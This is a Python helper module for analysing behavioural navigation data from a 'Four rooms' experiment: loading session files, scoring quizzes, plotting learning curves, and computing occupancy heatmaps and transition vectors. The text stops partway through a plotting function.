#!/usr/bin/env python3

# Four rooms paper helper functions.
# This script contains some useful functions for navigation data analysis.
# Author: Hannah Sheahan
# Date: 30/11/2018
# Issues: N/A

#-----------------------------------------------------------------------------#
from typing import Any, List, Mapping, Sequence, Tuple

import constants as cs
import numpy as np
import math
import json
import matplotlib.pyplot as plt
import scipy
import scipy.stats as stats
from matplotlib import cm
from matplotlib.collections import PatchCollection
from matplotlib.patches import Rectangle
from datetime import datetime, timedelta

import seaborn as sns
import copy
import pandas as pd
import sys
import random

# file i/o
import os

# for adding text description next to plots
from io import BytesIO
import base64

#-------------------------------------------------------------------------------

def find_data(data_path: str, sessions: List[str], exclusions: List[str]) -> Tuple[List[List[str]], int]:
  """Returns the Google Drive file paths of all data files in each session."""
  file_paths = []
  for session in sessions:
    session_path = os.path.join(data_path, session)
    files = os.listdir(session_path)

    # Exclude .DS_Store and subjects who's experiments crashed.
    included_files = []
    for idx, file in enumerate(files):
      include = True
      if file[0]!='.':  # Exclude .DS_Store.
        for exclude_string in exclusions:
          if exclude_string in file:
            include = False
        if include:
          included_files.append(file)
    paths = [os.path.join(session_path, file) for file in included_files]
    file_paths.append(paths)

  assert len(file_paths[0]) == len(file_paths[1])
  num_subjects = len(file_paths[0])
  print('Data files found from both sessions for {} participants.'.format(num_subjects))
  return file_paths, num_subjects

#-------------------------------------------------------------------------------

def load_data(paths: List[List[str]], num_subjects: int, sessions: List[str]) -> Tuple[List[List[Mapping[str, Any]]], Any]:
  """Loads the data from each session and matches it to the right participant.

  Args:
    paths: List of filepaths for each of the two sessions (in and out of scanner).
    num_subjects: The number of participants.
  Returns:
    All participant behavioural data, listed by session, then participant. The
    indices of each participant within each session is matched across the two
    sessions to refer to the same participant, and both are in chronological
    order.
  """
  # Use this to save the player/subject main learning data, with each element being a different subject
  all_data = [[None] * num_subjects for _ in sessions]
  file_names = [[None] * num_subjects for _ in sessions]

  for session_idx, session in enumerate(sessions):
    file_paths = paths[session_idx]
    # Sort the data in each session chronologically by participant index.
    file_order = np.argsort([a[-14:] for a in file_paths])
    file_paths = [file_paths[i] for i in file_order]
    for subject_idx in range(num_subjects):
      path = file_paths[subject_idx]
      with open(path, "r") as f:
        data = json.load(f)
      all_data[session_idx][subject_idx] = data
      file_names[session_idx][subject_idx] = path

  return all_data, file_names

#-------------------------------------------------------------------------------

def calculate_quiz_score(questionaire_data: List[Mapping[str, str]]) -> List[int]:
  """Calculate the quiz scores and order them by participant ID."""
  subject_quiz_scores = {}
  for subject_idx in range(len(questionaire_data)):
    quiz_score = 0
    sub_question_data = questionaire_data[subject_idx]
    if sub_question_data['Q1'] == 'top left':
      quiz_score += 1
    if sub_question_data['Q2'] == 'bottom right':
      quiz_score += 1
    if sub_question_data['Q3'] == 'bottom left':
      quiz_score += 1
    if sub_question_data['Q4'] == 'top right':
      quiz_score += 1
    if sub_question_data['Q5'] == 'bottom left, bottom right':
      quiz_score += 1
    if sub_question_data['Q6'] == 'top left, top right':
      quiz_score += 1
    if sub_question_data['Q7'] == 'top left, bottom left':
      quiz_score += 1
    if sub_question_data['Q8'] == 'top right, bottom right':
      quiz_score += 1
    subject_quiz_scores[sub_question_data['ID']] = quiz_score

  # Order the quiz scores by subject index.
  subject_ids = []
  for key, value in subject_quiz_scores.items():
    subject_ids.append(int(key))
  sorted_indices = sorted(range(len(subject_ids)), key=lambda k: subject_ids[k])
  subject_ordered_quiz_scores = []
  for idx in sorted_indices:
    subject_ordered_quiz_scores.append(subject_quiz_scores[str(subject_ids[idx])])

  return subject_ordered_quiz_scores

#-------------------------------------------------------------------------------

def plot_cov_training(ax, allPlayerLearningData, colours, bunch_factor=1, title=''):
    """Plot the covariance learning results for training session."""
    metric = 'correctChoices'
    whichSession = cs.SESSION_TRAINING
    nsubjects = len(allPlayerLearningData[whichSession])
    # We want the human choices only.
    allChoices = [allPlayerLearningData[whichSession][i]["roomChoicesData"][metric] for i in range(len(allPlayerLearningData[whichSession]))]
    allChoices = np.asarray(allChoices, dtype=np.float)
    allChoices = allChoices[~np.isnan(allChoices)]  # remove nans.

    # Average across adjacent trials using a bunch_factor.
    allChoices = np.reshape(allChoices, (bunch_factor, -1, nsubjects), order='F')
    allChoices = np.mean(allChoices, axis=0)

    # Mean and sem.
    meanChoices = 100 * np.nanmean(allChoices, axis=1)
    seChoices = 100 * np.divide(np.nanstd(allChoices, axis=1), np.sqrt(nsubjects) )
    ax.axhline(y=50, color='gray', linestyle=':')

    subtrials = np.linspace(1,bunch_factor*meanChoices.size, meanChoices.size)
    ax.scatter(subtrials, meanChoices, color=colours[0])
    ax.errorbar(subtrials, meanChoices, seChoices, color=colours[0])

    ax.set_ylabel('Correct first room choice (%)')
    ax.set_ylim([40,100])
    ax.set_xlabel('Trials')
    ax.set_title('Human behaviour, day 1')
    return allChoices

#-------------------------------------------------------------------------------

def plot_cov_scanner(ax, allPlayerLearningData, colours, bunch_factor=1, title=''):
    """Plot the covariance learning results for scanner session."""
    metric = 'humanCorrectChoices'
    whichSession = cs.SESSION_SCANNER
    nsubjects = len(allPlayerLearningData[whichSession])

    # We want the human choices only.
    allChoices = [allPlayerLearningData[whichSession][i]["roomChoicesData"][metric] for i in range(len(allPlayerLearningData[whichSession]))]
    allChoices = np.asarray(allChoices, dtype=np.float)
    allChoices = allChoices[~np.isnan(allChoices)]  # remove nans.

    # Average across adjacent trials using a bunch_factor.
    allChoices = np.reshape(allChoices, (bunch_factor, -1, nsubjects), order='F')
    allChoices = np.mean(allChoices, axis=0)

    # Draw context colour rectangles.
    errorboxes = [
      [Rectangle((1, 0), 32, 100)],
      [Rectangle((33, 0), 32, 100)],
      [Rectangle((33+32, 0), 32, 100)],
    ]
    edgecolor = 'white'
    facecolors = ['gold', 'gold', 'gold']
    alphas = [0.1, 0.25, 0.4]
    for box, facecolor, alpha in zip(errorboxes, facecolors, alphas):
      pc = PatchCollection(box, facecolor=facecolor, alpha=alpha,
                         edgecolor=facecolor)
      ax.add_collection(pc)

    # Mean and sem.
    meanChoices = 100 * np.nanmean(allChoices, axis=1)
    seChoices = 100 * np.divide(np.nanstd(allChoices, axis=1), np.sqrt(nsubjects) )
    ax.axhline(y=50, color='gray', linestyle=':')
    # Note that here we artificially double the trial indices to account for
    # these decisions being from humans only, as in half of trials this choice
    # is made by the computer agent.
    subtrials = np.linspace(bunch_factor/2, 2* bunch_factor*meanChoices.size, meanChoices.size)

    # Plot the learning.
    ax.scatter(subtrials, meanChoices, color=colours[1])
    ax.errorbar(subtrials, meanChoices, seChoices, color=colours[1])

    ax.set_ylim([40,100])
    ax.set_xlabel('Trials')
    ax.set_title('Human behaviour, day 2')

    return allChoices

#-------------------------------------------------------------------------------

def insert_rests(trial_maps: List[str], which_session):
  """Inserts the rests back into the sequence of trial maps."""
  if which_session == cs.SESSION_TRAINING:
    rest_idx = [0, 1, 2, 3, 4, 5, 6, 7, 8, 25, 42, 59, 76]
  else:
    rest_idx = [0, 1, 2, 3, 4, 5, 6, 23, 40, 57, 74, 91, 108]
  corrected_maps = trial_maps[:]
  for trial in rest_idx:
    corrected_maps.insert(trial, 'rest         ')
  return corrected_maps

#-------------------------------------------------------------------------------

def plot_scores_training_context(ax, allPlayerLearningData, contexts, colour, bunch_factor=1, title='', ylim=(15,30)):
    """Plot the score learning results for training session, by context."""
    metric = 'allScores'
    whichSession = cs.SESSION_TRAINING
    nsubjects = len(allPlayerLearningData[whichSession])
    # if you want the human choices only, only average across subs over those
    allChoices = [allPlayerLearningData[whichSession][i][metric] for i in range(len(allPlayerLearningData[whichSession]))]

    contextChoices = []
    for subject_idx, subjectChoices in enumerate(allChoices):
      contextMaps = allPlayerLearningData[whichSession][subject_idx]["contextMapList"]
      #print([trial_idx for trial_idx, context in enumerate(contextMaps) if context[10:] in contexts])
      contextMaps = insert_rests(contextMaps, cs.SESSION_TRAINING)
      contextTrials = [subjectChoices[trial_idx] for trial_idx, context in enumerate(contextMaps) if context[10:] in contexts]
      contextTrials = np.asarray(contextTrials, dtype=np.float)
      contextTrials = contextTrials[~np.isnan(contextTrials)]  # remove nans.
      contextChoices.append(contextTrials)

    contextChoices = np.asarray(contextChoices, dtype=np.float)
    contextChoices = np.transpose(contextChoices)

    # Average across adjacent trials using a bunch_factor
    contextChoices = np.reshape(contextChoices, (bunch_factor, -1, nsubjects), order='F')
    contextChoices = np.mean(contextChoices, axis=0)

    # mean and sem
    meanChoices = np.nanmean(contextChoices, axis=1)
    seChoices = np.divide(np.nanstd(contextChoices, axis=1), np.sqrt(nsubjects) )
    if 'peanut' in contexts: # vertical. Was tested first.
      subtrials = [list(range(16)), list(range(32, 48))]
      subtrials = [element for sublist in subtrials for element in sublist]
    else:
      subtrials = [list(range(16, 32)), list(range(48, 64))]
      subtrials = [element for sublist in subtrials for element in sublist]

    # First block in this context.
    trials = np.reshape(subtrials[:len(subtrials)//2], (bunch_factor, -1), order='F')
    trials = np.mean(trials, axis=0)
    ax.scatter(trials, meanChoices[:len(meanChoices)//2], color=colour)
    ax.errorbar(trials, meanChoices[:len(meanChoices)//2], seChoices[:len(seChoices)//2], color=colour)

    # Second block in this context.
    trials = np.reshape(subtrials[len(subtrials)//2:], (bunch_factor, -1), order='F')
    trials = np.mean(trials, axis=0)
    ax.scatter(trials, meanChoices[len(meanChoices)//2:], color=colour)
    handle = ax.errorbar(trials, meanChoices[len(meanChoices)//2:], seChoices[len(seChoices)//2:], color=colour)

    ax.set_ylabel('Trial score')
    ax.set_xlabel('Trials')
    ax.set_title('Human behaviour, day 1')
    ax.set_ylim(ylim)
    return allChoices, handle

#-------------------------------------------------------------------------------

def plot_scores_scanner_context(ax, allPlayerLearningData, contexts, colour, bunch_factor=1, title='', ylim=(15,30)):
    """Plot the score learning results for scanner session, by context.
    """
    metric = 'allScores'
    whichSession = cs.SESSION_SCANNER
    nsubjects = len(allPlayerLearningData[whichSession])
    # if you want the human choices only, only average across subs over those
    allChoices = [allPlayerLearningData[whichSession][i][metric] for i in range(len(allPlayerLearningData[whichSession]))]

    contextChoices = []
    for subject_idx, subjectChoices in enumerate(allChoices):
      contextMaps = allPlayerLearningData[whichSession][subject_idx]["contextMapList"]
      contextMaps = insert_rests(contextMaps, cs.SESSION_SCANNER)
      contextTrials = [subjectChoices[trial_idx] for trial_idx, context in enumerate(contextMaps) if context[10:] in contexts]
      contextTrials = [i for i in contextTrials if ~np.isnan(np.asarray(i, dtype=np.float))]  # remove nans.
      while len(contextTrials) != 48:
        contextTrials.append(np.nan)
      contextTrials = np.asarray(contextTrials, dtype=np.float)
      contextChoices.append(contextTrials)

    contextChoices = np.asarray(contextChoices, dtype=np.float)
    contextChoices = np.transpose(contextChoices)

    # Average across adjacent trials using a bunch_factor
    contextChoices = np.reshape(contextChoices, (bunch_factor, -1, nsubjects), order='F')
    contextChoices = np.nanmean(contextChoices, axis=0)

    # Draw context colour rectangles
    errorboxes = [
      [Rectangle((1, 0), 32, 100)],
      [Rectangle((33, 0), 32, 100)],
      [Rectangle((33+32, 0), 32, 100)],
    ]
    edgecolor = 'white'
    facecolors = ['gold', 'gold', 'gold']
    alphas = [0.1, 0.25, 0.4]
    for box, facecolor, alpha in zip(errorboxes, facecolors, alphas):
      pc = PatchCollection(box, facecolor=facecolor, alpha=alpha,
                         edgecolor=facecolor)
      ax.add_collection(pc)

    # mean and sem
    meanChoices = np.nanmean(contextChoices, axis=1)
    seChoices = np.divide(np.nanstd(contextChoices, axis=1), np.sqrt(nsubjects) )
    # Manually increase span over which trials are plotted to reflect interleaved contexts.
    subtrials = np.linspace(bunch_factor/2, 2* bunch_factor*meanChoices.size, meanChoices.size)

    # Plot the learning.
    ax.scatter(subtrials, meanChoices, color=colour)
    handle = ax.errorbar(subtrials, meanChoices, seChoices, color=colour)

    ax.set_xlabel('Trials')
    ax.set_title('Human behaviour, day 2')
    ax.set_ylim(ylim)

    return allChoices, handle

#-------------------------------------------------------------------------------

def plot_cov_training_context(ax, allPlayerLearningData, contexts, colour, bunch_factor=1, title=''):
    """Plot the covariance learning results for training session, by context."""
    metric = 'correctChoices'
    whichSession = cs.SESSION_TRAINING
    nsubjects = len(allPlayerLearningData[whichSession])
    # if you want the human choices only, only average across subs over those
    allChoices = [allPlayerLearningData[whichSession][i]["roomChoicesData"][metric] for i in range(len(allPlayerLearningData[whichSession]))]

    contextChoices = []
    for subject_idx, subjectChoices in enumerate(allChoices):
      contextMaps = allPlayerLearningData[whichSession][subject_idx]["contextMapList"]
      contextMaps = insert_rests(contextMaps, cs.SESSION_TRAINING)
      contextTrials = [subjectChoices[trial_idx] for trial_idx, context in enumerate(contextMaps) if context[10:] in contexts]
      contextTrials = np.asarray(contextTrials, dtype=np.float)
      contextTrials = contextTrials[~np.isnan(contextTrials)]  # remove nans.
      contextChoices.append(contextTrials)

    contextChoices = np.asarray(contextChoices, dtype=np.float)
    contextChoices = np.transpose(contextChoices)

    # Average across adjacent trials using a bunch_factor
    contextChoices = np.reshape(contextChoices, (bunch_factor, -1, nsubjects), order='F')
    contextChoices = np.mean(contextChoices, axis=0)

    # mean and sem
    meanChoices = 100 * np.nanmean(contextChoices, axis=1)
    seChoices = 100 * np.divide(np.nanstd(contextChoices, axis=1), np.sqrt(nsubjects) )
    ax.axhline(y=50, color='gray', linestyle=':')
    if 'peanut' in contexts: # vertical. Was tested first.
      subtrials = [list(range(16)), list(range(32, 48))]
      subtrials = [element for sublist in subtrials for element in sublist]
    else:
      subtrials = [list(range(16, 32)), list(range(48, 64))]
      subtrials = [element for sublist in subtrials for element in sublist]

    # First block in this context.
    trials = np.reshape(subtrials[:len(subtrials)//2], (bunch_factor, -1), order='F')
    trials = np.mean(trials, axis=0)
    ax.scatter(trials, meanChoices[:len(meanChoices)//2], color=colour)
    ax.errorbar(trials, meanChoices[:len(meanChoices)//2], seChoices[:len(seChoices)//2], color=colour)

    # Second block in this context.
    trials = np.reshape(subtrials[len(subtrials)//2:], (bunch_factor, -1), order='F')
    trials = np.mean(trials, axis=0)
    ax.scatter(trials, meanChoices[len(meanChoices)//2:], color=colour)
    handle = ax.errorbar(trials, meanChoices[len(meanChoices)//2:], seChoices[len(seChoices)//2:], color=colour)

    ax.set_ylabel('Correct first room choice (%)')
    ax.set_ylim([40,100])
    ax.set_xlabel('Trials')
    ax.set_title('Human behaviour, day 1')
    return contextChoices, handle

#-------------------------------------------------------------------------------

def plot_cov_scanner_context(ax, allPlayerLearningData, contexts, colour, bunch_factor=1, title=''):
    """Plot the covariance learning results for scanner session, by context."""
    metric = 'humanCorrectChoices'
    whichSession = cs.SESSION_SCANNER
    nsubjects = len(allPlayerLearningData[whichSession])
    # if you want the human choices only, only average across subs over those
    allChoices = [allPlayerLearningData[whichSession][i]["roomChoicesData"][metric] for i in range(len(allPlayerLearningData[whichSession]))]

    contextChoices = []
    for subject_idx, subjectChoices in enumerate(allChoices):
      contextMaps = allPlayerLearningData[whichSession][subject_idx]["contextMapList"]
      contextMaps = insert_rests(contextMaps, cs.SESSION_SCANNER)
      contextTrials = [subjectChoices[trial_idx] for trial_idx, context in enumerate(contextMaps) if context[10:] in contexts]
      contextTrials = [i for i in contextTrials if ~np.isnan(np.asarray(i, dtype=np.float))]  # remove nans.
      while len(contextTrials) != 24:
        contextTrials.append(np.nan)
      contextTrials = np.asarray(contextTrials, dtype=np.float)
      contextChoices.append(contextTrials)

    contextChoices = np.asarray(contextChoices, dtype=np.float)
    contextChoices = np.transpose(contextChoices)

    # Average across adjacent trials using a bunch_factor
    contextChoices = np.reshape(contextChoices, (bunch_factor, -1, nsubjects), order='F')
    contextChoices = np.nanmean(contextChoices, axis=0)

    # Draw context colour rectangles
    errorboxes = [
      [Rectangle((1, 0), 32, 100)],
      [Rectangle((33, 0), 32, 100)],
      [Rectangle((33+32, 0), 32, 100)],
    ]
    edgecolor = 'white'
    facecolors = ['gold', 'gold', 'gold']
    alphas = [0.1, 0.25, 0.4]
    for box, facecolor, alpha in zip(errorboxes, facecolors, alphas):
      pc = PatchCollection(box, facecolor=facecolor, alpha=alpha,
                         edgecolor=facecolor)
      ax.add_collection(pc)

    # mean and sem
    meanChoices = 100 * np.nanmean(contextChoices, axis=1)
    seChoices = 100 * np.divide(np.nanstd(contextChoices, axis=1), np.sqrt(nsubjects) )
    ax.axhline(y=50, color='gray', linestyle=':')
    # Manually increase span over which trials are plotted to reflect interleaved contexts.
    subtrials = np.linspace(bunch_factor/2, 2*2* bunch_factor*meanChoices.size, meanChoices.size)

    # Plot the learning.
    ax.scatter(subtrials, meanChoices, color=colour)
    handle = ax.errorbar(subtrials, meanChoices, seChoices, color=colour)

    ax.set_ylim([40,100])
    ax.set_xlabel('Trials')
    ax.set_title('Human behaviour, day 2')

    return contextChoices, handle

#-------------------------------------------------------------------------------

def moved_which_way(current_position: List[float], previous_position: List[float]) -> str:
  """Determine the direction of travel."""
  if current_position[0] > previous_position[0]: # moved to right.
    return 'right'
  elif current_position[0] < previous_position[0]: # moved left.
    return 'left'
  elif current_position[1] > previous_position[1]: # moved up.
    return 'up'
  elif current_position[1] < previous_position[1]: # moved down.
    return 'down'
  else:
    return 'no_move'

#-------------------------------------------------------------------------------

def format_room_choices(ax, allPlayerLearningData, title=''):
    """Format the covariance learning results for scanner session."""
    metric = 'humanCorrectChoices'
    whichSession = cs.SESSION_SCANNER
    nsubjects = len(allPlayerLearningData[whichSession])
    # if you want the human choices only, only average across subs over those
    allChoices = [allPlayerLearningData[whichSession][i]["roomChoicesData"][metric] for i in range(len(allPlayerLearningData[whichSession]))]
    allChoices = np.asarray(allChoices, dtype=np.float)
    allChoices = allChoices[~np.isnan(allChoices)]  # remove nans.
    allChoices = np.reshape(allChoices, (-1, nsubjects), order='F')
    return allChoices

#-------------------------------------------------------------------------------

def reformatControlStrings(controlStateTransitions):
    for trial in range(len(controlStateTransitions)):
        times = []
        controls = []
        if trial is not None:
            for entry in range(len(controlStateTransitions[trial])):
                time, control = controlStateTransitions[trial][entry].split(" ")
                time = float(time.replace(",","."))
                times.append(time)
                controls.append(control)
            controlStateTransitions[trial] = {"timestamps":times, "controlmode":controls}
    return controlStateTransitions

#-------------------------------------------------------------------------------

def defineFilepaths():
    # Specify paths for data and generated figures
    # Note that the filepath has been updated to the processed data one because otherwise we don't include the 2 manually combined subject behavioural logs
    savepath = '/Users/hsheahan/Documents/Four_rooms/2d_behavioural_data/generated_figures/'
    #filepath = '/Users/hannahsheahan/Documents/Postdoc/Experiments/MartiniTask/2D_version/Data/scanner/behaviour/originalData/'
    filepath = '/Users/hsheahan/Documents/Four_rooms/2d_behavioural_data/hannah_preprocessed/'
    filepaths = [filepath + 'session_1/', filepath + 'session_2/']

    session1 = [f for f in os.listdir(filepaths[0]) if os.path.isfile(os.path.join(filepaths[0], f))]
    session2 = [f for f in os.listdir(filepaths[1]) if os.path.isfile(os.path.join(filepaths[1], f))]
    session1 = [session1[file] for file in range(len(session1)) if ("_ignore"  not in session1[file] and "DS_"  not in session1[file])]
    session2 = [session2[file] for file in range(len(session2)) if ("_ignore"  not in session2[file] and "DS_"  not in session2[file])]
    sessions = [session1, session2]
    nSubjects = len(session1) if len(session1) > len(session2) else len(session2)

    return sessions, nSubjects, filepaths, savepath

#-------------------------------------------------------------------------------

def find_train_test_deltatime(sessions):
  """Find time between the training and scanning sessions for each participant."""
  dt = [[None for i in range(len(sessions[cs.SESSION_TRAINING]))] for j in range(2)]
  for i in range(len(sessions[cs.SESSION_TRAINING])):

    # Find the date and time for the training session.
    file = sessions[cs.SESSION_TRAINING][i]
    subject = file[-14:-11]
    trainingdate = file[9:23]
    traindatetime = datetime.strptime(trainingdate, '%d-%m-%y_%H-%M')
    dt[cs.SESSION_TRAINING][i] = traindatetime

    # Find the associated date and time for the scanning session for that subjects.
    for j in range(len(sessions[cs.SESSION_SCANNER])):
      scannerfile = sessions[cs.SESSION_SCANNER][j]
      scannersubject = scannerfile[-14:-11]
      if scannersubject == subject:
        testingdate = scannerfile[9:23]
        testdatetime = datetime.strptime(testingdate, '%d-%m-%y_%H-%M')
        dt[cs.SESSION_SCANNER][i] = testdatetime

  timediff = []
  for i in range(len(sessions[cs.SESSION_TRAINING])):
    diff = dt[cs.SESSION_SCANNER][i] - dt[cs.SESSION_TRAINING][i]
    hoursdiff = (diff.days * 24) + (diff.seconds / (60 * 60))
    timediff.append(hoursdiff)
  timediff = [diff for diff in timediff if diff > 0.01] # Remove the spurious 'zero' diffs.
  mean = np.mean(timediff)
  err = np.std(timediff) / np.sqrt(len(timediff))
  print('On average train and test (scanner) sessions were: {:.1f} +- {:.1f} hours apart (mean +- SEM).'.format(mean, err))

  return timediff

#-------------------------------------------------------------------------------

def compute_duration_per_agent(raw_data, num_subjects: int, allowed_states: Tuple[int, ...]) -> Tuple[List[float], List[float]]:
  """Calculate how much time is spent under human vs agent control per trial."""
  durations = []
  players_human_time = []
  players_computer_time = []
  for player_id in range(num_subjects):
    num_trials = len(raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'])
    human_durations = []
    computer_durations = []
    for trial in range(num_trials):
      human_durations_per_trial = []
      computer_durations_per_trial = []
      previous_game_state = cs.STATE_GO
      control_idx = 0
      control_order = raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['controlStateOrder']
      if control_order:
        for i in range(2):  # Ensure there are enough switches in control order to handle the data.
          control_order.append(control_order[0])
          control_order.append(control_order[1])
      times = raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['timeStepTrackingData']
      first_timestep, time = 0., 0. # Default
      first_step = True
      for step_ind, step in enumerate(times):
        game_state = raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['stateTransitions'][step_ind]
        if step[0] != 'T':
          if (int(game_state) in allowed_states):
            time = step[:6]
            time = time.replace(',', '.')
            time = float(time)
            if first_step:
              first_timestep = time
              first_step = False
          duration = time - first_timestep
          if int(game_state) == cs.STATE_SHOWREWARD and int(previous_game_state) != cs.STATE_SHOWREWARD:
            # A control transition has occurred.
            if control_idx < len(control_order):
              if control_order[control_idx] == 'Human':
                human_durations_per_trial.append(duration)
              else:
                computer_durations_per_trial.append(duration)
              control_idx += 1
              first_timestep = copy.copy(time)
        previous_game_state = copy.copy(game_state)
      human_durations.append(np.sum(human_durations_per_trial))
      computer_durations.append(np.sum(computer_durations_per_trial))
    players_human_time.append(np.nanmean([i for i in human_durations if i]))
    players_computer_time.append(np.nanmean([i for i in computer_durations if i]))

  return players_human_time, players_computer_time

#-------------------------------------------------------------------------------

def player_in_which_square(xpos: float, zpos: float) -> int:
    """Takes a momentary player x,z position and outputs a gridsquare index.

    The player can only be in one square at a time.
    """
    squarelabel = 1
    squarepositions = [None]*(9*9)
    count = 0
    deltaSquare = 1

    for i in np.linspace(-4.5,3.5,9): # Note that these are the 'lower-left' corner positions for each of the squares
        for j in np.linspace(-4.5,3.5,9):
            # this is a list carrying coordinates of each square in the environment. Each index is the label of the square.
            squarepositions[count] = [i,j]
            envx = squarepositions[count][0]
            envz = squarepositions[count][1]

            if ( xpos >= envx ) and (xpos < (envx + deltaSquare)):
                if (zpos >= envz ) and (zpos < (envz + deltaSquare)):
                    squarelabel = count

            count += 1   # ready for evaluating the next square

    return squarelabel

#-------------------------------------------------------------------------------

def compute_occupancy_and_transitions(
    raw_data,
    num_subjects: int,
    allowed_states: Tuple[int, ...],
    *,
    vertical_maps: Tuple[str, ...],
    horizontal_maps: Tuple[str, ...],
) -> Tuple[np.ndarray, np.ndarray, Mapping[str, List[int]], Mapping[str, List[int]]]:
  """Calculates the duration and transitions per gridsquare in each context."""
  gridsize = 9
  dataFrequency = 0.04
  horizontal_transitions = {
      'right':[0]*(gridsize*gridsize),
      'left':[0]*(gridsize*gridsize),
      'up':[0]*(gridsize*gridsize),
      'down':[0]*(gridsize*gridsize),
      'no_move':[0]*(gridsize*gridsize),
  }
  vertical_transitions = {
      'right':[0]*(gridsize*gridsize),
      'left':[0]*(gridsize*gridsize),
      'up':[0]*(gridsize*gridsize),
      'down':[0]*(gridsize*gridsize),
      'no_move':[0]*(gridsize*gridsize),
  }
  vertical_heatmap_counts = [0]*(gridsize*gridsize)
  horizontal_heatmap_counts = [0]*(gridsize*gridsize)

  timestep_positions = []
  for player_id in range(num_subjects):
    player_positions = []
    num_trials = len(raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'])
    for trial in range(num_trials):
      trial_positions = []
      positions = raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['timeStepTrackingData']
      for step_ind, step in enumerate(positions):
        game_state = raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['stateTransitions'][step_ind]
        if step[0] != 'T':
          if (int(game_state) in allowed_states):
            position = step.replace(',', '.')
            position = position.split(" ")
            position = [float(i) for i in position]
            position = position[1:] # ignore the time info and just retain position.
            square_label = player_in_which_square(position[0], position[1])
            if trial_positions:
              transition = moved_which_way(position, trial_positions[-1])
            else:
              prev_square_label = copy.copy(square_label)
              transition = 'no_move'
            trial_positions.append(position)

            if raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['mapName'] in vertical_maps:
              vertical_heatmap_counts[square_label] +=1
              vertical_transitions[transition][prev_square_label] += 1
            elif raw_data[cs.SESSION_SCANNER][player_id]['allTrialData'][trial]['mapName'] in horizontal_maps:
              horizontal_heatmap_counts[square_label] +=1
              horizontal_transitions[transition][prev_square_label] += 1
            prev_square_label = copy.copy(square_label)

  # Convert to units of time (s).
  horizontal_heatmap_counts = [float(horizontal_heatmap_counts[i])*dataFrequency for i in range(len(horizontal_heatmap_counts))]
  horizontal_counts = np.array(horizontal_heatmap_counts).reshape(gridsize,gridsize)
  vertical_heatmap_counts = [float(vertical_heatmap_counts[i])*dataFrequency for i in range(len(vertical_heatmap_counts))]
  vertical_counts = np.array(vertical_heatmap_counts).reshape(gridsize,gridsize)

  return horizontal_counts, vertical_counts, horizontal_transitions, vertical_transitions

#-------------------------------------------------------------------------------

def normalise_transitions(horizontal_transitions: Mapping[str, List[int]], vertical_transitions: Mapping[str, List[int]]) -> Mapping[str, Mapping[str, List[float]]]:
  """Calculate transition probabilities for each grid-square and context."""
  gridsize = 9
  transition_probs = {'horizontal':[], 'vertical':[]}
  for context in ['horizontal', 'vertical']:
    normalised_transitions = {
      'right':[0]*(gridsize*gridsize),
      'left':[0]*(gridsize*gridsize),
      'up':[0]*(gridsize*gridsize),
      'down':[0]*(gridsize*gridsize),
      'no_move':[0]*(gridsize*gridsize),
    }
    if context == 'horizontal':
      transitions = copy.copy(horizontal_transitions)
    elif context == 'vertical':
      transitions = copy.copy(vertical_transitions)
    else:
      raise ValueError('Unrecognised context.')

    for square_label in range(gridsize*gridsize):
      total_transition_from_square = 0
      for key in ['right', 'left', 'down', 'up']:
        total_transition_from_square += transitions[key][square_label]

      for key in ['right', 'left', 'down', 'up']:
        if total_transition_from_square == 0:
          normalised_transitions[key][square_label] = 0
        else:
          normalised_transitions[key][square_label] = float(transitions[key][square_label]) / float(total_transition_from_square)
    transition_probs[context] = normalised_transitions

  return transition_probs

#-------------------------------------------------------------------------------

def xy_direction(label):
  """Map the string label to a direction for plotting."""
  mapping = {'right':(1,0), 'left':(-1,0), 'up':(0,-1), 'down':(0,1), 'none':(0,0)}
  return mapping[label]

#-------------------------------------------------------------------------------

def vectorise_transitions(transition_probs: Mapping[str, Mapping[str, List[float]]]) -> Mapping[str, List[float]]:
  """Compute the vector of the summed transitions per gridsquare."""
  gridsize = 9
  direction_label = {0:'right', 1:'left', 2:'up', 3:'down', 4:'none'}
  transition_vectors = {'horizontal':[], 'vertical':[]}

  for context in ['horizontal', 'vertical']:
    direction_vector = [0] * (gridsize*gridsize)
    for square_label in range(gridsize*gridsize):
      normed_transitions = transition_probs[context]
      all_directions = np.array([normed_transitions[key][square_label] for key in ['right', 'left', 'up', 'down']])
      if np.all(np.array([i==all_directions[0] for i in all_directions])):
        direction = 4
      else:
        direction = np.argmax(all_directions)
      vector = all_directions[0]*np.array([1., 0.]) + all_directions[1]*np.array([-1., 0.]) + all_directions[2]*np.array([0.,-1.]) + all_directions[3]*np.array([0.,1.])
      direction_vector[square_label] = vector
    transition_vectors[context] = direction_vector
  return transition_vectors

#-------------------------------------------------------------------------------

def plot_transition_heatmap(horiz_counts, vert_counts, transition_vectors: Mapping[str, Any]) -> None:
  """Plot the occupancy heatmap and vector transitions."""
  plt.figure(figsize=(10,4))
  plt.subplot(1,2,1)
  axes = sns.heatmap(np.rot90(horiz_counts/(27*48), k=1), linewidths=.5, square=True, yticklabels=False,
                    xticklabels=False, cmap=cm.gist_heat_r, cbar_kws={"label":"Time spent per trial (sec)"})
  plt.title('Horizontal contexts')

  count = 0
  x,y = np.meshgrid(np.arange(0.5,9.5),np.arange(0.5,9.5))
  test = np.asarray([transition_vectors['horizontal']]).reshape((9,9,2), order='F')
  u, v = test[:,:,0], test[:,:,1]
  u[u==0] = np.nan
  axes.quiver(x,y,u,v, scale=7.)

  plt.subplot(1,2,2)
  axes = sns.heatmap(np.rot90(vert_counts/(27*48), k=1), linewidths=.5, square=True, yticklabels=False, xticklabels=False, cmap=cm.gist_heat_r,
                    cbar_kws={"label":"Time spent per trial (sec)"})
  plt.title('Vertical contexts')

  x,y = np.meshgrid(np.arange(0.5,9.5),np.arange(0.5,9.5))
  test = np.asarray(transition_vectors['vertical']).reshape((9,9,2), order='F')
  u, v = test[:,:,0], test[:,:,1]
  u[u==0] = np.nan
  axes.quiver(x,y,u,v, scale=7.)
  axes.set_aspect('equal')

#-------------------------------------------------------------------------------

def visualise_training_metadata(allPlayerLearningData, sessions, savepath, plotcolours, saveFig):
  """Plot across-subject metadata for the training session."""

  # Histogram of age.
  plt.figure(figsize=(12,3))
